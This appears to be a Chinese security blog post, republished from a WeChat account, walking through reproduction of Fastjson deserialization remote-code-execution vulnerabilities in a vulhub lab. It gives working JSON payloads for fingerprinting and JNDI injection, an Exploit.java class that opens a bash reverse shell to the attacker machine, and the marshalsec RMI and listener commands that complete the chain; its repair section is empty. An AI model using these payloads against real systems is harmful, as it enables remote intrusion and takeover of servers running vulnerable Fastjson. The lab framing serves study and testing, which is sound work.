0x00 漏洞介绍
0x01 漏洞影响版本
-
fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
-
fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
-
fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
-
fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
-
fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
-
fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
-
fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
-
fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞
0x02 漏洞指纹特征
1.根据返回包判断:
任意抓个包,提交方式改为POST,花括号不闭合。返回包就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。
2.利用dnslog盲打:
构造以下payload(content-type字段为application/json),利用dnslog平台接收。(不同版本,payload不同。推荐这种方式)
{"zeo":{"@type":"java.net.Inet4Address","val":"ntel8h.dnslog.cn"}}
探测版本payload,根据回显判断:
[{"a":"ax]
{"@type":"java.lang.AutoCloseable"
a
1.2.47版本payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://dnslog/",
"autoCommit": true
}
}
1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
# 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
0x03 漏洞环境搭建
靶机:192.168.110.133
攻击机:192.168.0.2
准备工具:https://github.com/mbechler/marshalsec.git
使用vulhub靶场上的环境,切入到1.2.47-rce
启动测试环境:docker-compose up -d
访问http://your-ip:8090即可看到JSON格式的输出:
0x04 漏洞复现
思路:
攻击机搭建一个RMI服务,开启一个web服务(目录里面编译Exploit.java)。
这里要注意使用的要求攻击机的javac是1.8的低版本,低于1.8.0_191版本),所以我这里懒得在攻击机上重新装jdk1.8(本机是jdk 17),直接用的靶机上的jdk1.8搭建的rmi服务,并搭建了一个web服务。
反弹shell还是反弹到攻击机。
1.漏洞探测:
根据抓包返回的数据尝试更改json,发送数据为post方式,更改类型为json,这里可以看见已经更改成功了
我们再用DNSLog探测下看看
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ntel8h.dnslog.cn/test",
"autoCommit":true
}
}
DNSLog也接收到了
2.准备环境:
编译一个Exploit.java
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.2/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
3.用python开启一个web服务:
python2 -m SimpleHTTPServer 6969
访问看看:
4.再用marshalsec文件开启一个rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.133:6969/#Exploit" 6799
5.NC监听下6666端口(我们exploit.java里面编写的就是反弹shell到192.168.0.2的6666端口)
6.进行利用反弹shell看看:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.110.133:6799/#Exploit",
"autoCommit":true
}
}
可以看到shell反弹过来了:
0x05 漏洞修复
内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。
原文始发于微信公众号(米瑞尔信息安全):Fastjson反序列化漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论